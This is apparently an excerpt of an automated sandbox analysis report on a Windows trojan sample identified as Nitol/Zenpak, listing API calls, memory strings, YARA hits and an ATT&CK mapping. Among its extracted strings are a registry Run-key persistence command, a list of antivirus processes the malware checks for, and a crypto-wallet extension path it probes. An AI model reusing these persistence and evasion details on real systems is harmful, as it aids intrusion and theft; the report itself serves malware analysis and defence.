Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B1F6A _malloc,std::exception::exception,std::exception::exception,__CxxThrowException@8,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_6C6B1F6A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B1F75 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_6C6B1F75

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_0332456C keybd_event,

9_2_0332456C

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Process created: C:\Program Files (x86)\6fjdie\DAPIjX8.exe "C:\Program Files (x86)\6fjdie\DAPIjX8.exe"

Jump to behavior

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

9_2_03326A54

Source: pXm5oVO3Go.exe, 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000002.2609602068.0000000010018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: Pragma: no-cacheGET&AAAAAAAAAAAA$libcef.dll:\v4.0.30319%s%s\%slib%s%slalala123%text/0SafeMonClassSHELL_TrayWndShell_TrayWnd2.lnkreg.exeadd "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v demo /t REG_SZ /d ""file:///BkShadowWndClass1511617181920212223242526272829303132333435363738404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118120121122123124126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160invalid string positionstring too long
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001579000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: pXm5oVO3Go.exe, pXm5oVO3Go.exe, 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000002.2609602068.0000000010018000.00000002.00001000.00020000.00000000.sdmp, DAPIjX8.exe, DAPIjX8.exe, 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ","FocusWindow":"Program Manager","group_i
Source: pXm5oVO3Go.exe, pXm5oVO3Go.exe, 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000002.2609602068.0000000010018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SHELL_TrayWnd
Source: DAPIjX8.exe, 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247531468.0000000010064000.00000002.00001000.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3246471111.00000000031D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -no-remote -profile iexplore.exeTaskbarGlomLevelSoftware\Microsoft\Windows\CurrentVersion\Explorer\Advancedexplorer.exeShell_TrayWnd\rundll32.exe shell32.dll,#61\Microsoft\Edge\msedge.exe\360Chrome\Chrome\secoresdk\\360se6\Application\360se.exe360se6\\Application\360se.exe#32768ntdll.dllRtlCompressBufferRtlGetCompressionWorkSpaceSize%08lX%04lX%lu
Source: DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ","FocusWindow":"Program Manager","group_i:p^

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_100397E8 cpuid

9_2_100397E8

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00658080
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: ____lc_handle_func,GetLocaleInfoW,	0_2_0066F472
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0065856F
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_00658508
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	0_2_006585AB
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	9_2_6C6C5C68
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	9_2_6C6CFC04
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	9_2_6C6CFCF0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesA,	9_2_6C6CFCC6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	9_2_6C6C4CBE
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	9_2_6C6CFD57
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	9_2_6C6CFD93
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoA,	9_2_6C6D3FD6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_6C6CF83C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	9_2_6C6C594A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	9_2_6C6CF931
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	9_2_6C6CF9D8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	9_2_6C6CFA33
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	9_2_6C6CE436
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	9_2_6C6CE510
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	9_2_6C6BB122
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	9_2_6C6CF2B0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesW,	9_2_0334E3C9
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	9_2_03359641
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	9_2_033314C4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_03359A58
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesW,	9_2_03359932
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,	9_2_0334E93C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesW,	9_2_033599CD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesW,	9_2_033598E7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_03359FB0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,	9_2_03359EDD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_03359DD5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,	9_2_03359CAD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesW,	9_2_100503A5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	9_2_100334A0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	9_2_1005B61D
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesW,	9_2_1005B8C3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesW,	9_2_1005B90E
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,	9_2_10050918
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesW,	9_2_1005B9A9
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_1005BA34
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,	9_2_1005BC89
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_1005BDB1
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,	9_2_1005BEB9
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_1005BF8C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	10_2_6C6C5C68
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	10_2_6C6CFC04
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	10_2_6C6CFCF0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: EnumSystemLocalesA,	10_2_6C6CFCC6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	10_2_6C6C4CBE
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	10_2_6C6CFD57
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	10_2_6C6CFD93
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoA,	10_2_6C6D3FD6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_6C6CF83C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	10_2_6C6C594A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	10_2_6C6CF931
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	10_2_6C6CF9D8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	10_2_6C6CFA33
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	10_2_6C6CE436
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	10_2_6C6CE510
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	10_2_6C6BB122
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	10_2_6C6CF2B0

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_00639CAB GetSystemTimeAsFileTime,__aulldiv,

0_2_00639CAB

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

9_2_033314C4

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_006476CC __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_006476CC

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_0053F694 _memset,GetVersionExW,

0_2_0053F694

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: DAPIjX8.exe	Binary or memory string: acs.exe
Source: DAPIjX8.exe, 00000009.00000002.3245993542.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgramFiles%\Windows Defender\MsMpeng.exe
Source: DAPIjX8.exe	Binary or memory string: kxetray.exe
Source: DAPIjX8.exe	Binary or memory string: vsserv.exe
Source: DAPIjX8.exe	Binary or memory string: avcenter.exe
Source: DAPIjX8.exe	Binary or memory string: cfp.exe
Source: DAPIjX8.exe, DAPIjX8.exe, 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247531468.0000000010064000.00000002.00001000.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3246471111.00000000031D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: KSafeTray.exe
Source: DAPIjX8.exe	Binary or memory string: avp.exe
Source: pXm5oVO3Go.exe, DAPIjX8.exe	Binary or memory string: 360tray.exe
Source: DAPIjX8.exe	Binary or memory string: rtvscan.exe
Source: DAPIjX8.exe	Binary or memory string: TMBMSRV.exe
Source: DAPIjX8.exe	Binary or memory string: ashDisp.exe
Source: DAPIjX8.exe	Binary or memory string: avgwdsvc.exe
Source: DAPIjX8.exe	Binary or memory string: AYAgent.aye
Source: DAPIjX8.exe	Binary or memory string: QUHLPSVC.EXE
Source: DAPIjX8.exe	Binary or memory string: RavMonD.exe
Source: DAPIjX8.exe	Binary or memory string: Mcshield.exe
Source: DAPIjX8.exe	Binary or memory string: K7TSecurity.exe

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Nitol

Source: Yara match	File source: 9.2.DAPIjX8.exe.32fec24.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DAPIjX8.exe.31d9c24.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DAPIjX8.exe.31d9c24.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DAPIjX8.exe.32fec24.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.3247531468.0000000010064000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3246471111.00000000031D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DAPIjX8.exe PID: 5296, type: MEMORYSTR

Tries to access browser extension known for cryptocurrency wallets

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nkbihfbeogaeaoehlefnkodbefgpgknn\

Jump to behavior

Remote Access Functionality

Yara detected Nitol

Source: Yara match	File source: 9.2.DAPIjX8.exe.32fec24.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DAPIjX8.exe.31d9c24.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DAPIjX8.exe.31d9c24.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DAPIjX8.exe.32fec24.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.3247531468.0000000010064000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3246471111.00000000031D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DAPIjX8.exe PID: 5296, type: MEMORYSTR

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_00417CF0 WSAStartup,htons,htons,inet_addr,socket,bind,WSAGetLastError,WSAAsyncSelect,listen,

0_2_00417CF0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	12 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 Create Account	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Service Execution	1 Registry Run Keys / Startup Folder	13 Process Injection	1 DLL Side-Loading	NTDS	247 System Information Discovery	Distributed Component Object Model	1 Credential API Hooking	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	2 Masquerading	LSA Secrets	571 Security Software Discovery	SSH	11 Input Capture	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	23 Virtualization/Sandbox Evasion	Cached Domain Credentials	23 Virtualization/Sandbox Evasion	VNC	3 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	13 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Indicator Removal	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
pXm5oVO3Go.exe	16%	ReversingLabs	Win32.Trojan.Zenpak
pXm5oVO3Go.exe	17%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\6fjdie\t4d.tmp	100%	Avira	DR/FakePic.Gen
C:\Program Files (x86)\6fjdie\t5d.tmp	100%	Avira	DR/FakePic.Gen
C:\Program Files (x86)\6fjdie\DAPIjX8.exe	0%	ReversingLabs
C:\Program Files (x86)\6fjdie\MSVCP140.dll	0%	ReversingLabs
